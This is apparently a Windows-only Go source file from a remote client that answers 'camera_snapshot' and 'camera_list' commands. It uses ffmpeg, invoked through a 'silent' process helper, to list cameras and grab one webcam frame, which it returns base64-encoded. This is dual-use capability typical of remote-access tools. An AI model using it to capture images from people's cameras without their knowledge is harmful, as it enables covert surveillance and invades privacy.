//go:build windows

package client

import (
	"fmt"
	"os/exec"
	"strings"
)

func handleCameraAction(action, device string) (handled bool, success bool, message string) {
	switch action {
	case "camera_snapshot":
		raw, err := captureWindowsCameraJPEG(strings.TrimSpace(device))
		if err != nil {
			return true, false, err.Error()
		}
		b64, err := encodeCameraSnapshotJPEG(raw)
		if err != nil {
			return true, false, err.Error()
		}
		return true, true, b64
	case "camera_list":
		devs, err := listWindowsCameraDevices()
		if err != nil {
			return true, false, err.Error()
		}
		if len(devs) == 0 {
			return true, false, "no DirectShow video capture devices found (install ffmpeg and connect a camera)"
		}
		return true, true, strings.Join(devs, "\n")
	default:
		return false, false, ""
	}
}

func ffmpegOnPath() (string, error) {
	path, err := exec.LookPath("ffmpeg")
	if err != nil {
		return "", fmt.Errorf("ffmpeg not found on PATH — install ffmpeg to capture USB/built-in camera frames")
	}
	return path, nil
}

func listWindowsCameraDevices() ([]string, error) {
	ff, err := ffmpegOnPath()
	if err != nil {
		return nil, err
	}
	out, err := silentCombinedOutput(ff, "-hide_banner", "-list_devices", "true", "-f", "dshow", "-i", "dummy")
	// ffmpeg exits non-zero for -list_devices; output is on stderr merged in CombinedOutput
	_ = err
	return parseDShowVideoDevices(string(out)), nil
}

func captureWindowsCameraJPEG(preferred string) ([]byte, error) {
	ff, err := ffmpegOnPath()
	if err != nil {
		return nil, err
	}
	devs, err := listWindowsCameraDevices()
	if err != nil {
		return nil, err
	}
	if len(devs) == 0 {
		return nil, fmt.Errorf("no video capture devices found")
	}
	device := devs[0]
	if preferred != "" {
		for _, d := range devs {
			if d == preferred {
				device = d
				break
			}
		}
	}
	out, err := silentCombinedOutput(ff,
		"-hide_banner", "-loglevel", "error",
		"-f", "dshow",
		"-i", dshowVideoInput(device),
		"-frames:v", "1",
		"-q:v", "2",
		"-f", "image2",
		"pipe:1",
	)
	if err != nil {
		hint := strings.TrimSpace(string(out))
		if hint != "" {
			return nil, fmt.Errorf("ffmpeg capture failed: %v (%s)", err, hint)
		}
		return nil, fmt.Errorf("ffmpeg capture failed: %v (device %q)", err, device)
	}
	return out, nil
}

func dshowVideoInput(name string) string {
	return `video="` + strings.ReplaceAll(name, `"`, `\"`) + `"`
}